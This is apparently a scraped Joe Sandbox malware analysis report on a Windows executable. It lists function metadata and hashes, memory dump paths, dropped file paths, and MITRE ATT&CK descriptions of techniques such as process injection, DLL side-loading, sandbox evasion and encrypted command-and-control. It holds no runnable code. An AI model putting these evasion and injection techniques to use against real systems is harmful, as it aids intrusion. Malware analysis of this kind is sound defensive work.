Opcode Fuzzy Hash: 4565e3b9f2c861d8e57e0549d9cfd39b11c1539cabee76aa4947017010f331d1
Instruction Fuzzy Hash: EC323674D04369DFEF22CF65C844BDDBBB0AB08308F1141EAD649A7A51DB746A84CF91

Function 36D97D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 36D97E8B

Strings

-, xrefs: 36D97DDD
+, xrefs: 36D97DE8

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-
API String ID: 1302938615-2137968064
Opcode ID: 99ca5d320493ee8ecfac6479c2384e7848b43d072adb6e2058c73728248a7f31
Instruction ID: e69a7b3ae4b629c4a646c3a70dc3ead732eb14e8e6ed77f1c25a9187fc3e1869
Opcode Fuzzy Hash: 99ca5d320493ee8ecfac6479c2384e7848b43d072adb6e2058c73728248a7f31
Instruction Fuzzy Hash: F991A474E002169FEB14DF6AC8856EEB7F5FF84769F60451AE854E72C0EB309940C761

Function 36D84C59 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON

Download Yara Rule

Strings

Flst, xrefs: 36D84C96
0, xrefs: 36D84CC3

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID:
String ID: 0$Flst
API String ID: 0-758220159
Opcode ID: 4a8ed28feaf5ae890b153a34ecd37a81f10e7de497d30137385dca1ad106894a
Instruction ID: 987fe2a722ed9587fb816110694fd2745c38a0fe6d56707671e850e7056d61e5
Opcode Fuzzy Hash: 4a8ed28feaf5ae890b153a34ecd37a81f10e7de497d30137385dca1ad106894a
Instruction Fuzzy Hash: 23519EB5E102588FEB15CF95C88865DFBF4EF84398F26802AD0499F650EB709946CBA0

Function 36D504E5 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 153timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36D5055E

Strings

TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 36D5063D
kLsE, xrefs: 36D50540

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
API String ID: 3446177414-2547482624
Opcode ID: 5188c6797699399bb4c09b51b902e3a06a201945fdab306fd468884c7d936ce9
Instruction ID: f7629a2b297ce7262c1d6edfdacd4109063b1e4ba533a5840befb58542449c24
Opcode Fuzzy Hash: 5188c6797699399bb4c09b51b902e3a06a201945fdab306fd468884c7d936ce9
Instruction Fuzzy Hash: AD51C0B59147429FDB14DF25D5406A7B7E4AF84304F11483EEA9A87A40E730D586CFE2

Function 36D4DF81 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 36D4E040

Strings

0, xrefs: 36D4E020
0, xrefs: 36D4E00B

Memory Dump Source

Source File: 00000005.00000002.3396208437.0000000036D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 36D20000, based on PE: true

Associated: 00000005.00000002.3396208437.0000000036E49000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036E4D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3396208437.0000000036EBE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36d20000_3507071243740008011.jbxd

Similarity

API ID: DebugPrintTimes
String ID: 0$0
API String ID: 3446177414-203156872
Opcode ID: 07ef34247bd899df9ccdd334e806e3507d7f6150ec631832c6a4f73ee25999be
Instruction ID: 6c2605d913449f438ce1f50824105cbca1508f9fe95732b0015d83698c53c27d
Opcode Fuzzy Hash: 07ef34247bd899df9ccdd334e806e3507d7f6150ec631832c6a4f73ee25999be
Instruction Fuzzy Hash: A44180B1A087459FD311CF29C544A5ABBE4FF88318F044A2EF588DB340DB71E905CB96

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3507071243740008011.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsy62D9.tmp\System.dll

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Ossicular\Itchreed.Cur

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Ossicular\Strobilation.Tru

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Ossicular\img-1.jpg

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Ossicular\nannie.tek

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Ossicular\nonpendency.age

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Ossicular\rimsmeds.txt

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Ossicular\skreddene.spo

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Windows Analysis Report
3507071243740008011.exe

Function 00403373 Relevance: 87.9, APIs: 33, Strings: 17, Instructions: 412
stringfilecomCOMMON

Function 00404C62 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00405990 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 00403D3E Relevance: 48.3, APIs: 32, Instructions: 346
windowstringCOMMON

Function 00403990 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 00402EC1 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 182
COMMON

Function 004062A4 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 004030FA Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 166
COMMON

Function 00402644 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Function 004065EC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 004057B5 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Function 00405DA3 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 004023DE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON